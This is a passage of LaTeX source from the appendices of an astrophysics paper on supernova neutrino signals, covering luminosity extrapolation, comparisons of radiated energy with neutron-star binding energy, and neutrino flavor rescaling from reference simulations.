for all neutrino species \ensuremath{\nu_{i}}, with $\ensuremath{L_0^\mathrm{core}}\,\mathord{=}\,L_{\ensuremath{\nu_{i}}}(t_0)$ being the corresponding luminosity at the end our simulations at time $t_0$ and $\tau\,\mathord{=}\,\tau_{\ensuremath{\nu_{i}}}$ being a core-cooling timescale, which we obtain from least-squares fits over the last $\unit{2}{s}$ of the computed neutrino signals. Our values for $\tau$ typically range between $1$ and $\unit{4}{s}$, in agreement with the work by \citet{Huedepohl:2014} \citep[also see][table~1]{2016MNRAS.460..742M}. The lower panel of Figure~\ref{fig:extrapolation} shows the relative contributions to the total radiated neutrino energies from our extrapolations (in the time interval $t_0\,\mathord{\leqslant}\,t\,\mathord{\leqslant}\,\unit{15}{s}$ for the cases of successful explosions). They lie below $\sim$1--2\% for all successful SNe, which illustrates that a further extrapolation of the exponentially declining signals beyond 15\,s is not necessary. Similar results are obtained for all our engine models. The mean neutrino energies, $\langle E_{\ensuremath{\nu_{i}}}(t) \rangle$, are simply extrapolated by keeping them constant at their final values at $t_0$, which, because of the small contribution from the neutrino emission at late times ($t\,\mathord{>}\,t_0$) to the time-integrated signals, has no significant influence on our DSNB predictions and is therefore unproblematic.
In the cases of BH forming, failed SNe on the other hand, the continued infall of matter feeds an accretion luminosity in addition to the diffusive flux from the core \citep{1988ApJ...334..891B}. Therefore, we describe the total neutrino emission (of all species) as the sum of a core and an accretion component, $\ensuremath{L_\mathrm{tot}}(t)\,\mathord{=}\,L_\mathrm{core}(t)\,\mathord{+}\,L_\mathrm{acc}(t)$. For the accretion luminosity, we follow the description by \citet{1988ApJ...334..891B},
\begin{equation}\label{eq:L_acc}
L_\mathrm{acc}(t) = \eta\,\frac{G M_\mathrm{NS,b}(t) \dot{M}_\mathrm{NS,b}(t)}{R_\mathrm{NS}(t)}~,
\end{equation}
with the gravitational constant $G$ and an adjustable efficiency parameter $\eta$ \citep[cf.][]{2009A&A...499....1F, Huedepohl:2014, 2014ApJ...788...82M}. For computational reasons, we take the late-time evolution of the progenitor-dependent (baryonic) PNS mass, $M_\mathrm{NS,b}(t)$, and accretion rate, $\dot{M}_\mathrm{NS,b}(t)$, from pure hydrodynamic simulations with the neutrino engine switched off and an open inner boundary of the computational grid placed in the supersonically infalling matter exterior to the stalled accretion shock. As we do not have model-based information on the time-dependent radius, $R_\mathrm{NS}(t)$, of the contracting PNS, we adopt equation~(9) of \citet{2016MNRAS.460..742M},
\begin{equation}\label{eq:R_NS}
R_\mathrm{NS}(t) = \left[\,R_1^{\,3}\left(\frac{\dot{M}_\mathrm{NS,b}(t)}{\ensuremath{\mathrm{M}_\sun}\,\mathrm{s}^{-1}}\right)\left(\vphantom{\frac{\dot{M}}{M}}\frac{M_\mathrm{NS,b}(t)}{\ensuremath{\mathrm{M}_\sun}}\right)^{\!\!-3}+R_2^{\,3}~\right]^{1/3}.
\end{equation}
We find that the late phases of those failed-SN simulations that are carried on beyond $\unit{10}{s}$ (21 cases in the N20 and 72 in the W20 sets, 17 of them beyond $\unit{20}{s}$) are reproduced by Equations~\eqref{eq:L_acc} and \eqref{eq:R_NS} with an accuracy of a few percent when we choose the parameter values $R_1\,\mathord{=}\,\unit{40}{km}$, $R_2\,\mathord{=}\,\unit{11}{km}$ and an accretion efficiency $\eta\,\mathord{=}\,0.51$.\footnote{The absolute values of $R_1$ and $R_2$ can be chosen somewhat arbitrarily since the adjustable parameter $\eta$ compensates for shifts of $L_\mathrm{acc}$ in Equation~\eqref{eq:L_acc}. For consistency with measured NS radii, we take $R_2\,\mathord{=}\,\unit{11}{km}$ (see footnote~\ref{fn:R_NS}). The resulting best-fit value of $R_1\,\mathord{=}\,\unit{40}{km}$ is much smaller than the $\unit{120}{km}$ in \citet{2016MNRAS.460..742M}, which reflects the moderate core contraction in our simulations.} Similar values for $\eta$ were found by \citet{2009A&A...499....1F}, \citet{Huedepohl:2014}, and \citet{2014ApJ...788...82M}. We apply this description of the accretion luminosity to all of our extrapolated failed-SN signals, independently of the engine model. For the core luminosity (of all neutrino species) in failed explosions, we employ Equation~\eqref{eq:L_core} with an initial value $\ensuremath{L_0^\mathrm{core}}\,\mathord{=}\,\ensuremath{L_\mathrm{tot}}(t_0)\,\mathord{-}\,L_\mathrm{acc}(t_0)$ and a core-cooling timescale $\tau\,\mathord{=}\,\tau_{\ensuremath{\nu_{x}}}$\,($\sim$\,1\,s) from a least-squares fit of the heavy-lepton neutrino signal between $\unit{3}{s}$ and $\unit{6}{s}$ after bounce in each model. During this phase, $L_{\ensuremath{\nu_{x}}}$ is dominated by its core component and can be well approximated by an exponential decline. We hence adopt this prescription also for the core luminosities of electron-type neutrinos, which are not as readily accessible \citep[cf.][]{Huedepohl:2014, 2014ApJ...788...82M}. In the extrapolation, the relative contributions of the different neutrino species to the total emission are kept constant at their final values obtained at the end of the simulations (i.e., $L_{\ensuremath{\nu_{i}}}(t)\,\mathord{=}\,f_{\ensuremath{\nu_{i}}} \ensuremath{L_\mathrm{tot}}(t)$, with the factor $f_{\ensuremath{\nu_{i}}}\,\mathord{=}\,L_{\ensuremath{\nu_{i}}}(t_0)/\ensuremath{L_\mathrm{tot}}(t_0)$ equally applied to core and accretion components).
As can be seen in the lower panel of Figure~\ref{fig:extrapolation}, our extrapolation accounts for up to $\sim$40\% of the total radiated neutrino energy for the case of a NS mass limit of $\unit{3.5}{\ensuremath{\mathrm{M}_\sun}}$ in the most extreme conditions, while no extrapolation is required for a limiting NS mass of $\unit{2.3}{\ensuremath{\mathrm{M}_\sun}}$. This is true for all of our engine models. The mean neutrino energies from slowly-accreting failed SNe, where the extrapolation has the biggest influence, flatten to rather constant values ($\sim$20\,MeV) at late times in simulations that could be carried on for more than $\sim$$\unit{10}{s}$. We thus extrapolate the mean neutrino energies in failed SNe by keeping them constant at their final values at $t_0$, in analogy to what we do in the cases of successful SNe. We tested other extrapolation schemes, but found that the time-integrated spectra are largely insensitive to the late-time description of the mean energies.
\section{Total energies of radiated neutrinos}\label{appendix:total_energies}
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\begin{figure*}
\includegraphics[width=\textwidth]{figB1}
\caption{Comparison of the total neutrino energies, \ensuremath{E_{\nu}^\mathrm{tot}}, radiated by the successful explosions of our reference set (Z9.6\,\&\,W18) with the gravitational binding energies (BE) of the relic NSs as estimated with an analytic expression from \citet{2001ApJ...550..426L}. In the left panel, the relation between \ensuremath{E_{\nu}^\mathrm{tot}}\ and the baryonic NS mass, $M_\mathrm{NS,b}$, is shown (turquoise dots). The gray (red) dashed line indicates the NS's binding energy as a function of $M_\mathrm{NS,b}$, computed with Equation~\eqref{eq:LattimerPrakash}, assuming a NS radius of $\unit{11}{km}$ ($\unit{12}{km}$). The shaded bands correspond to deviations of $\pm$10\%. In the right panel, the ratio of the total radiated neutrino energy to BE is plotted versus ZAMS mass for a NS radius of $\unit{11}{km}$. The dashed turquoise line additionally indicates the IMF-weighted mean value, which deviates by +7.1\% from BE. Note the scale break at $M_\mathrm{ZAMS}\,\mathord{\sim}\,\unit{30}{\ensuremath{\mathrm{M}_\sun}}$.
\label{fig:appendix_E_tot_SNe}}
\end{figure*}
Both in successful and failed core-collapse SNe, the neutrino emission is fed by the release of gravitational binding energy (BE) from an assembling PNS, which either cools down to become a stable NS or further collapses to a BH. To assess the viability of our DSNB flux predictions, we compare the total radiated neutrino energy, \ensuremath{E_{\nu}^\mathrm{tot}}, obtained from our simulations with an analytic estimate of the binding energy. For this purpose, we adopt equation~(36) of \citet{2001ApJ...550..426L}, which connects the PNS's baryonic mass, $M_\mathrm{NS,b}$, with its gravitating mass, $M_\mathrm{NS,g}$, assuming a final (cold) NS radius $R_\mathrm{NS}$:
\begin{equation}\label{eq:LattimerPrakash}
\frac{\mathrm{BE}/c^2}{M_\mathrm{NS,g}} = \frac{0.6 \beta}{1 - 0.5 \beta}~~,
\end{equation}
with $\mathrm{BE}/c^2\,\mathord{\equiv}\,M_\mathrm{NS,b}\,\mathord{-}\,M_\mathrm{NS,g}$ and the dimensionless parameter $\beta\,\mathord{\equiv}\,GM_\mathrm{NS,g}/R_\mathrm{NS}c^2$.
In the left panel of Figure~\ref{fig:appendix_E_tot_SNe}, $E_\nu^\mathrm{tot}$ of our successful explosions in the Z9.6\,\&\,W18 set is plotted against the baryonic mass of the relic NS (turquoise dots). We compare these values with the corresponding gravitational binding energies BE$_{11}$ and BE$_{12}$ (gray and red dashed lines), computed with Equation~\eqref{eq:LattimerPrakash} for an assumed final NS radius of $\unit{11}{km}$ and $\unit{12}{km}$, respectively. The shaded bands indicate deviations of $\unit{\pm10}{\%}$ from the analytic relations. In the right panel, we also show the ratio of the total radiated neutrino energy to BE for the case of $R_\mathrm{NS}\,\mathord{=}\,\unit{11}{km}$, plotted against the zero-age main sequence mass $M_\mathrm{ZAMS}$ of the progenitors.
Our simulations feature good overall agreement with Equation~\eqref{eq:LattimerPrakash}, compatible with the PNS of a successful SN radiating essentially its entire gravitational binding energy in the form of neutrinos. Assuming a NS radius of $\unit{11}{km}$, 93\% of the successful explosions in our Z9.6\,\&\,W18 set deviate by less than 15\% from the analytic fit provided by \citet{2001ApJ...550..426L}. Most of our simulations overestimate the total radiated neutrino energy on the order of 10\%, but for the majority of low-mass progenitors the values of $E_\nu^\mathrm{tot}$ are close to or below BE$_{11}$, which leads to an IMF-weighted mean deviation of +7.1\%. If we assume $R_\mathrm{NS}\,\mathord{=}\,\unit{12}{km}$ $(\unit{13}{km})$ instead, the deviation increases to a value of +15.6\% (+24.1\%) above the analytic description. In Table~\ref{tab:IMF-weighted_deviations_from_LP2001}, we show the IMF-weighted mean deviations for all of our engine models.
\begin{deluxetable}{lCCC}[t!]
\tablecaption{
IMF-weighted deviations of \ensuremath{E_{\nu}^\mathrm{tot}}\ of successful SNe from the analytic description by \citet{2001ApJ...550..426L} for the NS gravitational binding energy (BE).
\label{tab:IMF-weighted_deviations_from_LP2001}}
\tablehead{
\colhead{Engine Model} & \colhead{$R_\mathrm{NS}\,\mathord{=}\,\unit{11}{km}$} & \colhead{$R_\mathrm{NS}\,\mathord{=}\,\unit{12}{km}$} & \colhead{$R_\mathrm{NS}\,\mathord{=}\,\unit{13}{km}$}
}
\startdata
Z9.6\,\&\,S19.8 & +11.8\% & +20.7\% & +29.6\% \\
Z9.6\,\&\,N20 & +6.1\% & +14.6\% & +23.0\% \\
Z9.6\,\&\,W18 & +7.1\% & +15.6\% & +24.1\% \\
Z9.6\,\&\,W15 & +5.1\% & +13.5\% & +21.8\% \\
Z9.6\,\&\,W20 & +7.0\% & +15.6\% & +24.1\%
\enddata
\tablecomments{For the computations of BE, Equation~\eqref{eq:LattimerPrakash} was used with final NS radii of $\unit{11}{km}$, $\unit{12}{km}$, or $\unit{13}{km}$.}
\end{deluxetable}
\begin{figure*}
\includegraphics[width=\textwidth]{figB2}
\caption{Comparison of the total neutrino energies, \ensuremath{E_{\nu}^\mathrm{tot}}, radiated by the failed explosions of our reference set (Z9.6\,\&\,W18, $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$) with the maximally available reservoir of gravitational binding energy (BE) as given by the analytic fit formula of \citet{2001ApJ...550..426L}. The left panel shows \ensuremath{E_{\nu}^\mathrm{tot}}\ versus the time until BH formation (turquoise dots). The three dashed lines (in blue, gray, and red) indicate the total gravitational binding energies, according to Equation~\eqref{eq:LattimerPrakash}, of a NS with an assumed maximum baryonic mass of $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$ and assumed radius of $\unit{10}{km}$, $\unit{11}{km}$, and $\unit{12}{km}$, respectively. In the right panel, the ratio of the radiated neutrino energy to the maximally available gravitational binding energy is plotted versus the progenitor's ZAMS mass for an assumed NS radius of $\unit{11}{km}$. Note the scale break at $M_\mathrm{ZAMS}\,\mathord{\sim}\,\unit{30}{\ensuremath{\mathrm{M}_\sun}}$.\\
\label{fig:appendix_E_tot_fSNe}}
\end{figure*}
\begin{deluxetable*}{lCCCC}[t!]
\tablecaption{
Maximally available gravitational binding energies (BE) for the cases of failed SNe.
\label{tab:BE_fSNe}}
\tablehead{
\colhead{Baryonic NS Mass Limit} & \colhead{BE$_{10}$ [$10^{53}$ erg]} & \colhead{BE$_{11}$ [$10^{53}$ erg]} & \colhead{BE$_{12}$ [$10^{53}$ erg]} & \colhead{BE$_{13}$ [$10^{53}$ erg]}
}
\startdata
$\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}=\unit{2.3}{\ensuremath{\mathrm{M}_\sun}}$ & 6.8~(77.8\%) & 6.3~(84.1\%) & 5.9~(90.5\%) & 5.5~(96.8\%) \\
$\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}=\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$ & 9.1~(77.3\%) & 8.4~(83.4\%) & 7.8~(89.5\%) & 7.3~(95.6\%) \\
$\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}=\unit{3.1}{\ensuremath{\mathrm{M}_\sun}}$ & 11.6~(76.0\%) & 10.8~(81.8\%) & 10.1~(87.6\%) & 9.4~(93.5\%) \\
$\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}=\unit{3.5}{\ensuremath{\mathrm{M}_\sun}}$ & 14.4~(74.2\%) & 13.4~(79.7\%) & 12.5~(85.3\%) & 11.8~(90.8\%)
\enddata
\tablecomments{The values of BE are computed according to Equation~\eqref{eq:LattimerPrakash} for different values of the baryonic NS mass limit, \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}, and for different NS radii ($\unit{10}{km}$, $\unit{11}{km}$, $\unit{12}{km}$, and $\unit{13}{km}$). In parentheses we give the largest value of the ratio \ensuremath{E_{\nu}^\mathrm{tot}}/BE for all of our failed explosion models and all neutrino engines. Note the slightly larger value of 83.4\% for \ensuremath{E_{\nu}^\mathrm{tot}}/BE$_{11}$ in the case of $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$ compared to the $\sim$80\% in the right panel of Figure~\ref{fig:appendix_E_tot_fSNe}, which shows the case of the Z9.6\,\&\,W18 neutrino engine.}
\end{deluxetable*}
Compared to successful explosions, the total energy reservoir that could be released in neutrinos by BH-forming, failed SNe is generally higher if the PNS at the limiting mass remained stable until it has emitted its entire gravitational binding energy before it collapses to a BH (see Table~\ref{tab:BE_fSNe}). However, the binding energy of a maximum-mass NS constitutes just an upper limit for the radiated neutrino energy \ensuremath{E_{\nu}^\mathrm{tot}}, because BH formation typically occurs before the NS has cooled to a cold state, terminating the neutrino emission before the total gravitational energy is carried away by neutrinos. This can be seen in the left panel of Figure~\ref{fig:appendix_E_tot_fSNe}, where we plot \ensuremath{E_{\nu}^\mathrm{tot}}\ for the failed SNe of our reference set (Z9.6\,\&\,W18, $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$) against the time until BH formation (turquoise dots). Only the slowly-accreting cases (with $t_\mathrm{BH}\,\mathord{\gtrsim}\,\unit{3}{s}$) come close to the maximally available binding energy according to Equation~\eqref{eq:LattimerPrakash}, which is indicated by a blue, gray, and red dashed line for NS radii of $\unit{10}{km}$, $\unit{11}{km}$, and $\unit{12}{km}$, respectively. In the right panel, we show the ratio of the radiated to the maximally available energy for an assumed NS radius of $\unit{11}{km}$ versus the ZAMS mass range of the corresponding progenitors.
For all of our simulations the neutrino emission from failed SNe lies well below the analytically computed energy limit. For our reference set shown in Figure~\ref{fig:appendix_E_tot_fSNe}, at most 80\% of BE$_{11}$ are radiated before a BH forms, while the progenitors at around 22--25\,\ensuremath{\mathrm{M}_\sun}\ and $\sim$$\unit{40}{\ensuremath{\mathrm{M}_\sun}}$, which exhibit very high mass-accretion rates (see footnote~\ref{fn:compactness} and upper panel of Figure~\ref{fig:neutrino_outcomesystematics}), feature considerably lower percentages ($\sim$30--60\%). The results for the other neutrino engines are very similar, because the emission from a failed SN is dominated by the progenitor-dependent accretion component rather than the PNS core emission. For larger NS radii applied in Equation~\eqref{eq:LattimerPrakash}, the ratio \ensuremath{E_{\nu}^\mathrm{tot}}/BE tends towards unity, as can be seen in Table~\ref{tab:BE_fSNe} (values in parentheses).\\\\
\section{Flavor rescaling}\label{appendix:rescaling}
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\begin{deluxetable*}{lCCCCCcC
\tablecaption{
Flavor fractions and conversion factors.
\label{tab:flavor_ratios}}
\tablehead{
\colhead{Model} & \colhead{$\tilde{\xi}_{\ensuremath{\bar{\nu}_{e}}}$} & \colhead{$\tilde{\xi}_{\ensuremath{\nu_{e}}}$} & \colhead{$\tilde{\xi}_{\ensuremath{\nu_{x}}}$} & \colhead{$\ensuremath{\lambda_{\langle E\rangle}^{\scriptsize\textsc{PV}}}$} & \colhead{$\ensuremath{\lambda_{\overline{\alpha}}^{\scriptsize\textsc{PV}}}$} & \colhead{Compact Remnant} & \colhead{$M_\mathrm{NS,b}$ [$\ensuremath{\mathrm{M}_\sun}$]}
}
\startdata
\textsc{Vertex}, s11.2co, LS220 & 0.166 & 0.194 & 0.160 & 0.990 & 0.808 & NS & 1.366 \\
\textsc{Vertex}, z9.6co, LS220 & 0.155 & 0.173 & 0.168 & 0.992 & 0.810 & NS & 1.361 \\
\textsc{Vertex}, z9.6co, SFHo & 0.157 & 0.176 & 0.167 & 0.990 & 0.790 & NS & 1.363 \\
Average (``L'') & {\bf0.159} & {\bf0.181} & {\bf0.165} & {\bf0.991} & {\bf0.803} & $-$ & $-$ \\
\hline
\textsc{Vertex}, s20.0, SFHo & 0.172 & 0.176 & 0.163 & 0.965 & 0.813 & NS & 1.947 \\
\textsc{Vertex}, s27.0co, LS220 & 0.172 & 0.181 & 0.162 & 0.957 & 0.807 & NS & 1.776 \\
\textsc{Vertex}, s27.0co, SFHo & 0.170 & 0.179 & 0.163 & 0.973 & 0.810 & NS & 1.772 \\
Average (``H'') & {\bf0.171} & {\bf0.179} & {\bf0.163} & {\bf0.965} & {\bf0.810} & $-$ & $-$ \\
\hline
\textsc{Vertex}, s40s7b2c, LS220 (``F'') & {\bf0.212} & {\bf0.257} & {\bf0.133} & {\bf1.068} & {\bf0.639} & BH (fast; $\unit{0.57}{s}$) & (2.320) \\
\textsc{Vertex}, s40.0c, LS220 (``S'') & {\bf0.231} & {\bf0.251} & {\bf0.129} & {\bf0.940} & {\bf0.724} & BH (slow; $\unit{2.11}{s}$) & (2.279)
\enddata
\tablecomments{Relative fractions $\tilde{\xi}_{\ensuremath{\bar{\nu}_{e}}}$, $\tilde{\xi}_{\ensuremath{\nu_{e}}}$, and $\tilde{\xi}_{\ensuremath{\nu_{x}}}$ of the total energy \ensuremath{E_{\nu}^\mathrm{tot}}\ radiated in the neutrino species \ensuremath{\bar{\nu}_{e}}, \ensuremath{\nu_{e}}, and \ensuremath{\nu_{x}}\ (Equation~\eqref{eq:xi_tilde}), and conversion factors $\ensuremath{\lambda_{\langle E\rangle}^{\scriptsize\textsc{PV}}}\,\mathord{\equiv}\,(\langle E_{\ensuremath{\nu_{x}}} \rangle/\langle E_{\ensuremath{\bar{\nu}_{e}}} \rangle)^{\scriptsize\textsc{PV}}$ (Equation~\eqref{eq:lambda_E}) and $\ensuremath{\lambda_{\overline{\alpha}}^{\scriptsize\textsc{PV}}}\,\mathord{\equiv}\,(\ensuremath{\overline{\alpha}_{\nux}}/\ensuremath{\overline{\alpha}_{\nuebar}})^{\scriptsize\textsc{PV}}$ (Equation~\eqref{eq:lambda_a}), listed for eight models that were simulated with the 1D version of the \textsc{Prometheus-Vertex} code. The lines are grouped according to the masses of the compact remnants. For the models s40s7b2c and s40.0c, the values in parentheses indicate the post-bounce times of BH formation and the corresponding baryonic PNS masses at these times. The conversion factors applied to our \textsc{Prometheus-HotB} models (according to the four cases ``L'', ``H'', ``F'', and ``S'' for low-mass NSs, high-mass NSs, fast BH formation, or slow BH formation, respectively; see text for the details) are highlighted in boldface. Note that $\tilde{\xi}_{\ensuremath{\nu_{e}}}\,\mathord{+}\,\tilde{\xi}_{\ensuremath{\bar{\nu}_{e}}}\,\mathord{+}\,4 \tilde{\xi}_{\ensuremath{\nu_{x}}}\,\mathord{=}\,1$.}
\end{deluxetable*}
The approximate treatment of the microphysics and the relatively modest contraction of our inner grid boundary in the considered core-collapse simulations result in underestimated luminosities of the heavy-lepton neutrinos, as mentioned in Sections~\ref{sec:simulation_setup} and \ref{sec:DSNB_formulation}. Consequently, we introduce a rescaling factor $\tilde{\xi}/\xi$ for the time-integrated neutrino spectra in Equation~\eqref{eq:time-integr_spec}, where
\begin{equation}
\xi = \xi_{\ensuremath{\nu_{i}}} = \ensuremath{E_{\nui}^\mathrm{tot}} / \ensuremath{E_{\nu}^\mathrm{tot}}
\end{equation}
and
\begin{equation}
\tilde{\xi} = \tilde{\xi}_{\ensuremath{\nu_{i}}} = \left(E_{\ensuremath{\nu_{i}}}^\mathrm{tot} / E_{\nu}^\mathrm{tot}\right)^{\scriptsize\textsc{PV}}
\label{eq:xi_tilde}
\end{equation}
denote the relative fractions of the total neutrino energy \ensuremath{E_{\nu}^\mathrm{tot}}\ radiated in the species \ensuremath{\nu_{i}}\ before (i.e., as obtained from the \textsc{Prometheus-HotB} simulations) and after this readjustment, respectively. We perform the rescaling in terms of relative energy contributions to the total loss of gravitational binding energy by neutrinos (rather than in terms of relative neutrino numbers), because the energy obeys a conservation law in contrast to neutrino numbers. For setting the new weights $\tilde{\xi}_{\nu_i}$ we refer to six successful explosion models (artificially exploded in 1D) and two failed SNe that were computed with the \textsc{Prometheus-Vertex} (PV) code \citep{2002A&A...396..361R, 2006A&A...447.1049B} and are listed in Table~\ref{tab:flavor_ratios}: z9.6co and s27.0co, both simulated with the LS220 \citep{1991NuPhA.535..331L} as well as the SFHo EoS \citep{2013ApJ...774...17S} and discussed in detail in \citet{2016NCimR..39....1M}; the unpublished model s20.0 of a 20\,\ensuremath{\mathrm{M}_\sun}\ progenitor of \citet{2007PhR...442..269W}, computed with the SFHo EoS in the same way as the four models mentioned before (Robert Bollig, 2018, private communication); and the three models s11.2co, s40.0c, and s40s7b2c from \citet{Huedepohl:2014}, all of them computed with the LS220 EoS. The suffix ``c'' of the model names indicates the use of a mixing-length treatment for PNS convection, and the suffix ``o'' that mean-field potentials are taken into account in the charged-current neutrino-nucleon interactions (see \citealt{2016NCimR..39....1M} for details). The neutrino signals of all eight models can be found in the Garching Core-collapse Supernova Archive.\footnote{\url{https://wwwmpa.mpa-garching.mpg.de/ccsnarchive/archive.html} (access provided upon request)}
Although we constrain our analysis in most parts on the emitted \ensuremath{\bar{\nu}_{e}}\ signals, we need information on the time-integrated spectra, $\mathrm{d} N_{\ensuremath{\nu_{x}}}/\mathrm{d} E$, also for heavy-lepton neutrinos in our discussion of flavor oscillation effects in Section~\ref{subsec:flavor_conversions}. Instead of taking the outcome of (too approximate) SN and BH-formation models, we directly employ the spectral shape from \citet{2003ApJ...590..971K},
\begin{eqnarray}
\frac{\mathrm{d} N_{\ensuremath{\nu_{x}}}}{\mathrm{d} E} =&& \frac{(\ensuremath{\overline{\alpha}_{\nux}} + 1)^{(\ensuremath{\overline{\alpha}_{\nux}} + 1)}}{\Gamma(\ensuremath{\overline{\alpha}_{\nux}} + 1)} \frac{E_{\ensuremath{\nu_{x}}}^\mathrm{tot}}{\ensuremath{\langle E_{\nux} \rangle}^2} \left(\frac{E}{\ensuremath{\langle E_{\nux} \rangle}}\right)^{\ensuremath{\overline{\alpha}_{\nux}}} \nonumber \\
&&\times\exp\left[-\frac{(\ensuremath{\overline{\alpha}_{\nux}} + 1)E}{\ensuremath{\langle E_{\nux} \rangle}}\right]\:,
\label{eq:nux_spectrum}
\end{eqnarray}
with the total energy radiated in a single heavy-lepton neutrino species $E_{\ensuremath{\nu_{x}}}^\mathrm{tot}\,\mathord{=}\,\tilde{\xi}_{\ensuremath{\nu_{x}}} \ensuremath{E_{\nu}^\mathrm{tot}}$, the time-averaged mean neutrino energy $\langle E_{\ensuremath{\nu_{x}}} \rangle\,\mathord{=}\,\ensuremath{\lambda_{\langle E\rangle}^{\scriptsize\textsc{PV}}} \langle E_{\ensuremath{\bar{\nu}_{e}}} \rangle$, and the spectral-shape parameter $\ensuremath{\overline{\alpha}_{\nux}}\,\mathord{=}\,\ensuremath{\lambda_{\overline{\alpha}}^{\scriptsize\textsc{PV}}} \ensuremath{\overline{\alpha}_{\nuebar}}$ of the time-integrated \ensuremath{\nu_{x}}\ spectrum.\footnote{The bar in the symbols $\overline{\alpha}_{\nu_{i}}$ indicates that the shape parameters refer to the \textit{time-integrated} spectra rather than the \textit{instantaneous} spectra (see Section~\ref{subsec:spectra} and Appendix~\ref{appendix:spectral_parameters}).} Here, $\langle E_{\ensuremath{\bar{\nu}_{e}}} \rangle$ and \ensuremath{\overline{\alpha}_{\nuebar}}\ are computed from the time-integrated spectra of \ensuremath{\bar{\nu}_{e}}\ obtained in our large set of core-collapse simulations. For the conversion factors
\begin{equation}
\ensuremath{\lambda_{\langle E\rangle}^{\scriptsize\textsc{PV}}}\,\mathord{\equiv}\,(\langle E_{\ensuremath{\nu_{x}}} \rangle/\langle E_{\ensuremath{\bar{\nu}_{e}}} \rangle)^{\scriptsize\textsc{PV}}
\label{eq:lambda_E}
\end{equation}
and
\begin{equation}
\ensuremath{\lambda_{\overline{\alpha}}^{\scriptsize\textsc{PV}}}\,\mathord{\equiv}\,(\ensuremath{\overline{\alpha}_{\nux}}/\ensuremath{\overline{\alpha}_{\nuebar}})^{\scriptsize\textsc{PV}},
\label{eq:lambda_a}
\end{equation}
we take the values from the \textsc{Prometheus-Vertex} models in Table~\ref{tab:flavor_ratios}. The shape parameters, $\overline{\alpha}\,\mathord{=}\,\overline{\alpha}_{\ensuremath{\nu_{i}}}$, and mean neutrino energies, $\langle E \rangle\,\mathord{=}\,\langle E_{\ensuremath{\nu_{i}}} \rangle$, of the time-integrated spectra, $\mathrm{d} N/\mathrm{d} E\,\mathord{=}\,\mathrm{d} N_{\ensuremath{\nu_{i}}}/\mathrm{d} E$, are computed as
\begin{equation}\label{eq:alpha}
\overline{\alpha} = \frac{2\langle E \rangle^2 - \langle E^2 \rangle}{\langle E^2 \rangle - \langle E \rangle^2}~~,
\end{equation}
with
\begin{equation}\label{eq:mean_energy}
\langle E \rangle = \frac{\int\mathrm{d} E E (\mathrm{d} N/\mathrm{d} E)}{\int\mathrm{d} E (\mathrm{d} N/\mathrm{d} E)}~~,
\end{equation}
\begin{equation}\label{eq:mean_squared_energy}
\langle E^2 \rangle = \frac{\int\mathrm{d} E E^2 (\mathrm{d} N/\mathrm{d} E)}{\int\mathrm{d} E (\mathrm{d} N/\mathrm{d} E)}~~.
\end{equation}
The neutrino spectra of our successful explosions which form NSs with baryonic masses of $M_\mathrm{NS,b}\,\mathord{\leqslant}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$ are rescaled by the average conversion factors of the s11.2co and the two z9.6co models (upper part of Table~\ref{tab:flavor_ratios}; case ``L''). For SNe with $M_\mathrm{NS,b}\,\mathord{>}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$, we apply the average values of the s20.0 and s27.0co models (middle part of Table~\ref{tab:flavor_ratios}; case ``H''). In cases of failed explosions with BH formation (lower part of Table~\ref{tab:flavor_ratios}), we distinguish between fast-accreting ($t_\mathrm{BH}\,\mathord{<}\,\unit{2}{s}$; ``F'') and slowly-accreting ($t_\mathrm{BH}\,\mathord{\geqslant}\,\unit{2}{s}$; ``S'') cases. The spectra of our fast-accreting models (progenitors with high core compactness; see footnote~\ref{fn:compactness}) are rescaled according to \textsc{Vertex} model s40s7b2c, which forms a BH after $\unit{0.57}{s}$. For our slowly accreting cases with long delays until BH formation, which correlate with higher maximum NS masses and with progenitors that have a relatively lower core compactness, we employ the rescaling factors of model s40.0c, where BH formation occurs at $t_\mathrm{BH}\,\mathord{=}\,\unit{2.11}{s}$. For completeness, we also give the baryonic PNS masses just before the PNSs collapse to BHs in Table~\ref{tab:flavor_ratios}. Note that approximate flavor equipartition ($\tilde{\xi}_{\ensuremath{\bar{\nu}_{e}}}\,\mathord{\simeq}\,\tilde{\xi}_{\ensuremath{\nu_{e}}}\,\mathord{\simeq}\, \tilde{\xi}_{\ensuremath{\nu_{x}}}$) is realized for successful SNe, whereas \ensuremath{\bar{\nu}_{e}}\ and \ensuremath{\nu_{e}}\ dominate over heavy-lepton neutrinos in cases of failed explosions. This can be understood by the continued accretion of infalling matter, which is accompanied by $e^{\pm}$ captures on free nucleons in the PNS's accretion mantle \citep{2012ARNPS..62..407J}, giving rise to an enhanced accretion luminosity of electron-flavor neutrinos and antineutrinos (see Equation~\eqref{eq:L_acc}).
\section{Spectral Shapes}\label{appendix:spectra}
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\begin{figure*}[ht!]
\includegraphics[width=\textwidth]{figD1}
\caption{Time-integrated spectra, $\mathrm{d} N/\mathrm{d} E$, of electron antineutrinos (normalized by $N_{>15}\,\mathord{=}\,\int_{\unit{15}{MeV}}^{\infty}\mathrm{d} E (\mathrm{d} N/\mathrm{d} E)$) from exemplary SN simulations of our Z9.6\,\&\,W18 set for different values of the instantaneous spectral-shape parameter $\alpha$ (red solid lines), compared to four SN models that were computed with the \textsc{Prometheus-Vertex} code (dashed lines). Arrows at the bottom of each panel mark the mean energies of the spectra (Equation~\eqref{eq:mean_energy}). The gray shaded vertical bands edge the most relevant energy region of $E\,\mathord{\gtrsim}\,\unit{15}{MeV}$ (see main text for details).\\
\label{fig:appendix_spectra}}
\end{figure*}
\begin{figure*}[ht!]
\includegraphics[width=\textwidth]{figD2}
